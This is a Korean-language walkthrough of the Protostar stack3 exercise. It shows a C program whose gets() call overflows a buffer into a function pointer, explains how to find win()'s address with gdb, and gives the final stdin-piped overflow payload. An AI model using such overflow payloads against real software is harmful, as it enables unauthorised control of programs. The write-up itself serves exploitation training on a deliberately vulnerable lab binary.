004. protostar stack3 | anxi0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
슬슬 해괴한 코드들이 나오고 있다.
내가 overflow시킨 값으로 뛰고, 그걸 win으로 맞춰줘야 하는 것 같다.
어렵게 생각할 필요없다. gets에 값을 넣는 방법과 win의 주소만 알면 된다.
araboja.
[gets 함수에 값을 넣는 방법 (stdin)]
웬일인지 gets함수가 있는 프로그램은 ./stack3 `python` ~~~ 이렇게 공격이 되지 않는다.
여지껏 argv에 값을 넣던 방식과는 다르게 표준 출력으로 바꿔서 표준입력에 들어가게 해야한다.
자 해보자.
1. 세미콜론 ;
다중 명령어 실행 함수이다.ㅇㄹ
2. 파이프 |
앞의 명령어의 결과를 파이프 다음 명령어로 넘겨준다.
이렇게 cat python.txt한 결과를 넘겨서 python이라는 문자열을 낚아채준다.
반대로
없으면 안 뜨지
이런식으로 쓰는거다.
그래서
python -c 'print "asdf"';cat 하면 표준 입출력으로 변한다. 왜? cat이 쉘에 글자를 출력할 때 표준 출력으로 뿌리므로
이상태로 표준입출력 처리를 먼저 해주고(괄호를 치면 된다.), 그 값을 파이프로 stack3에 넘기면 되겠지?
따라서 탄생한 페이로드
정답이니까 볼래말래?
(python -c 'print "\x90"*64 + "win 주소값"';cat) | ./stack3
이렇게 된다
[특정 함수의 주소값 알아내는 법]
gdb로 일단 까라.
gdb -q ./stack3
(gdb) set disassembly-flavor intel
win을 그냥 disassemble해도 되지만,
정말 간단한print라는 gdb 명령어를 사용할 것이다. (줄여서 p)
ㅎㅇ
그냥 뱉어낸다.
저기 주소 넣으면 끝이겠네????
고려할 점
1. 표준 입출력
2. 변조할 win()주소값
3. 버퍼 오버플로우 할 양
4. 리틀엔디안
진짜 정답임
(python -c 'print "\x90"*64 + "\x24\x84\x04\x08"';cat) | ./stack3
Success